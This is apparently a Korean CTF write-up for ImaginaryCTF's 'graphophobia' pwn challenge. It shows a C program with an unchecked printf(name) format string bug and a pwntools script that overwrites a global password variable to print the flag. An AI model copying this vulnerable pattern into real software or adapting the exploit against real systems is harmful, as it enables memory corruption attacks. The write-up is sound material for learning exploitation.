[ImaginaryCTF] graphophobia
Pwn/ImaginaryCTF

[ImaginaryCTF] graphophobia

반응형
문제 풀이 환경 : Ubuntu 20.04

📝 Analysis


<< Mitigation >>

<< Code >>

· main

#include <stdio.h>
#include <stdlib.h>

int password = 0x65706f6e;

int main() {
    setbuf(stdout, NULL);
    printf("The password is at %p\n\n", &password);
    puts("What's your name?");
    char name[100];
    fgets(name, 100, stdin);
    printf("Hi, ");
    printf(name);
    printf("!\n");
    if (password == 0x87654321) {
        puts("Winner!");
        FILE* f = fopen("flag.txt", "r");
        fscanf(f, "%s", name);
        fclose(f);
        puts(name);
    } else {
        printf("Sorry, you entered the password %08x...\n", password);
    }
}

처음에 pie로 랜덤하게 바뀌는 전역 변수 password의 주소를 가르쳐주고, name을 입력하게 한다.

입력한 name의 값은 FSB(Format String Bug)로 이용할 수 있다.

 

🧩 Exploit Scenario 


1. password의 주소를 얻는다.

2. FSB로 password의 값을 0x87654321로 바꾼다.

 

🚩 Flag 🚩


from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./graphophobia')
p = remote('puzzler7.imaginaryctf.org', 8000)

p.recvuntil(b'at ')
password = int(p.recvline(), 16)
success(f'password: {hex(password)}')

fsb = fmtstr_payload(6, {password: 0x87654321})
p.sendlineafter(b'?\n', fsb)

p.interactive()

 

반응형